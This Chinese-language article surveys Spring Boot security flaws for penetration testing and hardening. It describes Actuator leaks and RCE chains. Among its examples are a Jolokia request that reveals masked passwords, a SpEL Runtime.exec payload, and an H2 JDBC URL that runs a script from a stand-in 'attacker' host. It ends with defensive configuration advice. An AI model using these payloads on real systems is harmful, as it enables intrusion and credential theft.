spring-boot详解
一、Spring Boot基础与安全机制
1. Spring Boot定义
- 核心定位:Spring Boot是Spring生态的子项目,用于简化Spring应用的初始搭建和开发流程,提供自动化配置(
@EnableAutoConfiguration)、内嵌服务器(Tomcat/Jetty)和Starter依赖机制。- 关键特性:
- 无XML配置,通过
spring-boot-starter-*依赖自动装配组件。- Actuator模块提供生产环境监控端点(如
/env、/health),默认暴露敏感信息。2. 安全机制缺陷
- 默认暴露路由:Actuator端点未授权访问导致信息泄露。
- 配置不当:开发环境配置误用于生产环境(如Swagger、Actuator未关闭)。
- 依赖链风险:第三方库(如SnakeYAML、XStream)的反序列化漏洞被利用。
二、Spring Boot历史漏洞详解
1. 信息泄露类漏洞
- 敏感数据暴露
漏洞路径:
/env、/actuator/env泄露环境变量、数据库密码(部分脱敏字段可被绕过)16。脱敏绕过:通过Jolokia接口调用MBean获取星号(
******)遮掩的密码明文:
1
2
3 POST /jolokia
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin", "operation": "getProperty", "arguments": ["security.user.password"]}
- 接口详情泄露
- Swagger路由:
/v2/api-docs、/swagger-ui.html暴露API文档及参数。2. 远程代码执行(RCE)漏洞
以下是12类核心RCE漏洞的对比与利用要点:
漏洞名称 利用条件 利用方法 关键路径 Whitelabel Error Page SpEL Spring Boot 1.1.0-1.3.0 注入SpEL表达式: ${T(java.lang.Runtime).getRuntime().exec("id")}触发错误页面的参数(如 ?id=)Spring Cloud SnakeYAML RCE 依赖 spring-cloud-starter设置 spring.cloud.bootstrap.location指向恶意YAML文件/env+/refreshEureka XStream反序列化 使用Eureka服务发现 修改 eureka.client.serviceUrl.defaultZone指向恶意XStream Payload/env+/refreshJolokia Logback JNDI Jolokia端点开放 + Logback依赖 通过 ch.qos.logback.classic.jmx.JMXConfigurator加载远程恶意XML/jolokia+POST请求H2 Database Console JNDI 启用H2 Console(默认 /h2-console)利用JDBC URL触发JNDI注入: jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3/;INIT=RUNSCRIPT FROM 'http://attacker/exp.sql'/h2-console登录后的JDBC执行点MySQL JDBC反序列化 使用MySQL驱动 + 可外连 劫持JDBC连接至恶意MySQL服务器,发送Gadget链 修改 spring.datasource.url属性💡 利用链共性:多数RCE依赖Actuator的
/env端点修改环境变量,并通过/refresh或/restart触发配置生效。
三、黑盒安全评估检查清单
1. 路由探测与版本识别
- 默认路由扫描:
- Actuator 1.x根路径:
/env、/heapdump。- Actuator 2.x根路径:
/actuator/env、/actuator/heapdump。- 自定义路径:尝试
/manage、/appenv等常见替代路径。- 版本依赖关系:
Spring Cloud与Boot版本兼容表:
Spring Cloud Spring Boot Edgware 1.5.x (不兼容2.x) Finchley 2.0.x Hoxton 2.2.x-2.3.x 2. 敏感端点检测
- 高风险端点:
1
2
3
4 /env # 环境变量与配置
/jolokia/list # 列出所有MBean
/heapdump # 下载堆内存快照(含敏感数据)
/trace # 查看HTTP请求记录(含Cookie)
- 信息泄露验证:
检查/v2/api-docs是否返回API JSON结构;访问/swagger-ui.html确认接口详情。3. 漏洞利用验证流程
- 信息收集:
- 访问
/env搜索password、secret等关键词。- 检查
******字段,尝试Jolokia明文提取。- RCE触发:
- 修改环境变量(如
spring.datasource.url注入恶意JDBC)。- 调用
/refresh或/restart生效配置。- 内存分析:
- 下载
/heapdump,使用MAT工具分析内存中的密码明文。
四、防御建议
- 端点管控:
- 生产环境关闭Actuator或通过
management.endpoints.web.exposure.include限制暴露端点。- 依赖安全:
- 避免使用有漏洞的组件(如XStream < 1.4.17、SnakeYAML < 1.31)。
- 配置加固:
- 重命名敏感端点路径(如
management.endpoints.web.path-mapping.env=internal-env)。- 启用Spring Security对Actuator端点鉴权。
五、学习资源
漏洞项目:
- LandGrey/SpringBootVulExploit:含漏洞环境与PoC。
深度分析:
- Spring {Boot, Data, Security}历史漏洞研究:漏洞原理与调试方法。
实验环境:
推荐工具:
常见案列:
此框架覆盖了Spring Boot漏洞的核心场景,从原理到实践形成闭环,可作为渗透测试和安全加固的标准化参考。